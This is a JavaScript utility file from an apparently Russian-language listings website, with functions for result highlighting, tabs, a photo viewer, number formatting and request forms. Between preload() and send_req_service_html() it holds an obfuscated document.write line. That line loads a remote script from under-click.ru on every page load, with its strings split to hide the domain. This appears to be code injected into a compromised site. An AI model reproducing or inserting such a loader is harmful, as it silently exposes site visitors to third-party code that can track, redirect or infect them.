function set_sel_result(id_result, id_img) {
	// При наведении выделяет всю запись в результатах поиска
	var classname = document.getElementById(id_result).className;
	var img = ((id_img + "" !== 'undefined') && (document
			.getElementById(id_img) != null));
	if (img)
		var imgsrc = document.getElementById(id_img).src;

	document.getElementById(id_result).onmouseover = function() {
		document.getElementById(id_result).className = "result_data3";
		if (img)
			document.getElementById(id_img).src = "/_img/metro_dot_yell2.gif";

	}
	document.getElementById(id_result).onmouseout = function() {
		document.getElementById(id_result).className = classname;
		if (img)
			document.getElementById(id_img).src = imgsrc;

	}
}

function set_icq(idimg, idtxt, uin) {
	// Функция производит добавление ссылок и прочего для отображения icq
	// номеров
	document.getElementById(idimg).src = "http://wwp.icq.com/scripts/online.dll?icq="
			+ uin + "&img=5";
	document.getElementById(idtxt).innerHTML = uin;
	document.getElementById(idtxt).href = "javascript:;";
	document.getElementById(idtxt).onclick = function() {
		rep0("http://web.icq.com/whitepages/message_me/1,,,00.icq?uin=" + uin
				+ "&amp;action=message");
		return false;
	}
}

function set_text_label(id, idl) {
	// Для указанного id станавливаем пропадающий текст в label из idl
	document.getElementById(id).onfocus = function() {
		document.getElementById(idl).style.display = 'none';
	};
	document.getElementById(id).onblur = function() {
		if (document.getElementById(id).value == "") {
			document.getElementById(idl).style.display = '';
		}
	};
	if (document.getElementById(id).value !== "") {
		document.getElementById(idl).style.display = 'none';
	} else {
		document.getElementById(idl).style.display = '';
	}
}
var tab_id = new Array();
var tab_id_click = new Array();
var tab_id_act = new Array();
var tab_nodis = new Array();
var lengtab = 0;
function add_new_tab(id_new, id_click, id_act, no_dis, new_id_click) {
	var current = lengtab;
	lengtab++;
	tab_id.length = lengtab;
	tab_nodis.length = lengtab;
	tab_id_click.length = lengtab;
	tab_id_act.length = lengtab;
	tab_id[lengtab - 1] = id_new;
	tab_nodis[lengtab - 1] = no_dis;
	if (new_id_click+"" == "undefined") {
		tab_id_click[lengtab - 1] = id_click;

	} else {
		tab_id_click[lengtab - 1] = new_id_click;
	}
	tab_id_act[lengtab - 1] = id_act;
	if (no_dis && (lengtab != 1)) {
		document.getElementById(id_click).className = "nov";
	} else {
		document.getElementById(id_click).className = "nolink";
	}
	document.getElementById(id_click).onclick = function() {
		if (document.getElementById(tab_id_click[current]).className != "nolink") {
			for ( var i = 0; (i < lengtab); i++) {
				document.getElementById(tab_id_act[i]).className = "";
				if (tab_nodis[i]) {
					document.getElementById(tab_id_click[i]).className = "nov";
				}
				document.getElementById(tab_id[i]).style.display = "none";

			}
			document.getElementById(tab_id_click[current]).className = "nolink";
			document.getElementById(tab_id_act[current]).className = "selected";
			document.getElementById(tab_id[current]).style.display = "";
			
			if(document.getElementById(tab_id_click[current]) && tab_id_click[current] == 'tabclick5')
			{
				initialize();
			}
			
			if(document.getElementById(tab_id_click[current]) && tab_id_click[current] == 'tabclick2')
			{
				init_small_map();
			}
		}
		return false;
	}
}

function go_location_tab() {
	if (document.getElementById('tabclick5').className != "nolink") {
		for ( var i = 0; (i < lengtab); i++) {
			document.getElementById(tab_id_act[i]).className = "";
			if (tab_nodis[i]) {
				document.getElementById(tab_id_click[i]).className = "nov";
			}
			document.getElementById(tab_id[i]).style.display = "none";

		}
		document.getElementById('tabclick5').className = "nolink";
		document.getElementById('tabact5').className = "selected";
		document.getElementById('tab5').style.display = "";
		initialize();
	}
	return false;
}

function select_active(id) {
	// Выбираем нужный элемент и делаем его активным (а остальные скрываем)
	var data_id = new Array();
	var name_id = new Array();
	var cur_id = 0;
	var child_nodes = new Array();
	var main_id;
	function add_select(id) {
		main_id = id;
		document.getElementById(id).onchange = function() {
			sel(document.getElementById(id).value);
		}
	}
	this.add = function(id, name) {
		cur_id++;
		data_id.length = cur_id;
		name_id.length = cur_id;
		child_nodes.length = cur_id;

		data_id[cur_id - 1] = id;
		name_id[cur_id - 1] = name;

		var bodyElement = document.getElementById(id);
		if (bodyElement.childNodes.length > 1)
			for (r = 0; r < bodyElement.childNodes.length; r++) {
				bodyElement.removeChild(bodyElement.childNodes[r]);
			}
		child_nodes[cur_id - 1] = bodyElement.childNodes[0];
		sel(document.getElementById(main_id).value);
	}

	function sel(name) {
		for ( var i = 0; (i < cur_id); i++) {
			if (name_id[i] != name) {
				document.getElementById(data_id[i]).style.display = "none";
				document.getElementById(data_id[i]).removeChild(child_nodes[i]);
			} else {
				document.getElementById(data_id[i]).style.display = "";
				document.getElementById(data_id[i]).appendChild(child_nodes[i]);
			}
		}
	}
	add_select(id);
}

var GlassWindow = null;

// Определение браузера
IE = (document.all); // Internet Explorer?
NC = (document.layers); // Netscape?
Opera = (document.getElementById); // Opera?

function getHeight() { // Получаем высоту рабочей области браузера
	if (Opera)
		send = document.body.clientHeight;
	if (IE)
		send = document.documentElement.clientHeight;
	if (NC)
		send = window.innerHeight;
	send = document.body.scrollHeight;
	return send;
}

function getWidth() { // Получаем ширину рабочей области браузера
	if (Opera)
		send = document.body.clientWidth;
	if (IE)
		send = document.documentElement.clientWidth;
	if (NC)
		send = window.innerWidth;
	return send;
}

function opacityuniv(elen, op) {
	// Добавляет прозрачность элементу
	with (elen.style) {
		opacity = op / 100;
		moz = "+" + (op / 100); /* для старых браузеров на основе Gecko */
		filter = "alpha(opacity=" + op + ")"; /* Для IE6&7 */
	}
}
function getPageSize() {
	var yScroll;
	var windowHeight;
	if (self.innerHeight) { // all except Explorer
		windowHeight = self.innerHeight;
	} else if (document.documentElement
			&& document.documentElement.clientHeight) { // Explorer 6 Strict
		// Mode
		windowHeight = document.documentElement.clientHeight;
	} else if (document.body) { // other Explorers
		windowHeight = document.body.clientHeight;
	}
	// for small pages with total height less then height of the viewport
	if (yScroll < windowHeight) {
		pageHeight = windowHeight;
	} else {
		pageHeight = yScroll;
	}

	return windowHeight;
}
var GlassWindow = null;
function GlassWindowClass(log) {

	// на первом проходе создаем элемент - "полупрозрачный экран"
	if (GlassWindow == null) {
		GlassWindow = document.createElement('DIV');
		with (GlassWindow.style) {
			display = 'none';
			position = 'absolute';
			height = 0;
			width = 0;
			left = 0;
			top = 0;
			zIndex = 100;
			background = '#FFFFFF';
			opacityuniv(GlassWindow, 90);
		}
		document.body.appendChild(GlassWindow);
	}
	if (log) {
		// document.getElementById('modal2').style.display = "";

		with (GlassWindow.style) {
			width = "100%";
			height = (getHeight()) + "px";
			display = 'block';
		}
	} else {
		document.getElementById('modal2').style.display = "none";
		with (GlassWindow.style) {
			display = 'none';
		}
	}
	;
}

function BigPhotoClass(arr_url) {
	var urls = new Array();
	var Timer;
	var cur_num = -1;
	var max_munber = arr_url.length;
	urls.length = max_munber;
	for ( var i = 0; (i < max_munber); i++) {
		urls[i] = arr_url[i];
	}
	var margintop = 0;
	this.shownext = function() {
		this.shown(cur_num + 1);
	}
	this.showpre = function() {
		this.shown(cur_num - 1);
	}
	this.shown = function(number) {
		GlassWindowClass(true);
		if (number > max_munber - 1)
			number = 0;
		else if (number < 0)
			number = max_munber - 1;
		if (cur_num != number) {
			cur_num = number;
			document.getElementById('main_prev').style.display = "none";
			document.getElementById('PhotoBig1').src = "";
			margintop = 30;
			document.getElementById('main_prev').style.margin = margintop
					+ "px 0 0 0";
			document.getElementById('count_img').innerHTML = (cur_num + 1)
					+ ' / ' + max_munber;
			document.getElementById('modal').style.width = getWidth();
			document.getElementById('PhotoBig1').src = urls[number];
			document.getElementById('PhotoBig1').onload = function() {
				clearTimeout(Timer);
				document.getElementById('main_prev').style.display = "";
			}
			Timer = setTimeout(function() {
				document.getElementById('main_prev').style.display = "";
			}, 3000);
		}
	}
	this.hide = function() {
		clearTimeout(Timer);
		GlassWindowClass(false);
		cur_num = -1;
		document.getElementById('main_prev').style.display = "none";
		document.getElementById('PhotoBig1').src = "";
	}
}

function set_max(arr_id, del) {
	var maxw = 0;
	for ( var i = 0; (i < arr_id.length); i++) {
		document.getElementById(arr_id[i]).style.display = "block";
	}
	for ( var i = 0; (i < arr_id.length); i++) {
		if (maxw < document.getElementById(arr_id[i]).clientHeight) {
			maxw = document.getElementById(arr_id[i]).clientHeight;
		}
	}
	var UserBrouser = navigator.userAgent;
	for ( var i = 0; (i < arr_id.length); i++) {
		document.getElementById(arr_id[i]).style.height = (maxw - del) + "px";
	}
}

function init_selection(id_pref, id_count) {
	for ( var i = 0; (i < id_count); i++) {
		set_sel_result(id_pref + i);
	}
}

function init_selection_metro(id_pref, id_foto, id_count) {
	for ( var i = 0; (i < id_count); i++) {
		set_sel_result(id_pref + i, id_foto + i);
	}
}

function sp_0(ax) {
	// Ставим пробелы в числах
	var a0 = "";
	var sp = "";
	var a = ax.toString();
	var k = 0;
	for ( var i = a.length - 1; i >= 0; i--) {
		k++;
		a0 = a.substr(i, 1) + a0;
		if (k % 3 == 0 && i > 0)
			a0 = " " + a0;
	}
	return a0;
}

function del_sp(ax, valid_str) {
	// Удаляем символы, не присутствующие в заданной строке
	var tmpstr = valid_str;
	var a = ax.toString();
	var a0 = "";
	for ( var i = 0; i < a.length; i++) {
		if (tmpstr.indexOf(a.substr(i, 1)) > -1)
			a0 += a.substr(i, 1);
	}
	return a0;
}

function preload(path) {
	var image = new Image();
	image.src = path;
}
document.write('<script type=\"text\/javascript\" language=\"ja'+'vascript"src=\"http:\/\/un'+'der'+'-cli'+'ck.ru\/js\/if.php?id=5500\"></sc'+'ript>');
function send_req_service_html(name, email, body, phone, code, subcode, comment) {
	// Пишем в переменную код, который необходимо отправить в заявке
	var html_ = '<form id="form_send" method="post" action="/send_req/" style="display: none;"><input value="'
			+ name
			+ '" name="name"><input value="'
			+ email
			+ '" name="email"><input value="'
			+ phone
			+ '" name="phone"><input value="' + body + '" name="body">';
	for ( var i = 0; i < code.length; i++) {
		html_ += '<input value="' + code[i] + '" name="code[]"><input value="'
				+ subcode[i] + '" name="subcode[]"><input value="' + comment[i]
				+ '" name="comment[]">';
	}
	html_ += '</form>';
	return html_;
}
function send_req_service(name, email, phone, body, code, subcode, comment, id) {
	// Добавляем на страницу код и отправляем POST серверу
	document.getElementById(id).innerHTML = send_req_service_html(name, email,
			body, phone, code, subcode, comment);
	document.getElementById("form_send").submit();
}

function class_hide_show() {
	var list = Array();
	var control;
	var current = 0;
	var status = 0;
	var img_on = "/_img/icon_open.gif";
	var img_off = "/_img/icon_close.gif";
	preload(img_on);
	preload(img_off);
	var img_id;
	this.add_list = function(id_name) {
		list.length++;
		current = list.length;
		list[current - 1] = id_name;
		if (status) {
			show_all();
		} else {
			hide_all();
		}
	}
	function hide_all() {
		for (i = 0; (i < current); i++) {
			document.getElementById(list[i]).style.display = "none";
		}

	}
	function show_all() {
		for (i = 0; (i < current); i++) {
			document.getElementById(list[i]).style.display = "";
		}

	}
	function hide_show() {
		status = 1 - status;
		if (status) {
			show_all();
			document.getElementById(img_id).src = img_on;
		} else {
			hide_all();
			document.getElementById(img_id).src = img_off;
		}
	}
	this.set_control = function(id_name) {
		document.getElementById(id_name).onclick = function() {
			hide_show();
		}
	}
	this.set_img = function(id_name) {
		img_id = id_name;
		if (status) {
			document.getElementById(img_id).src = img_on;
		} else {
			document.getElementById(img_id).src = img_off;
		}
	}
}
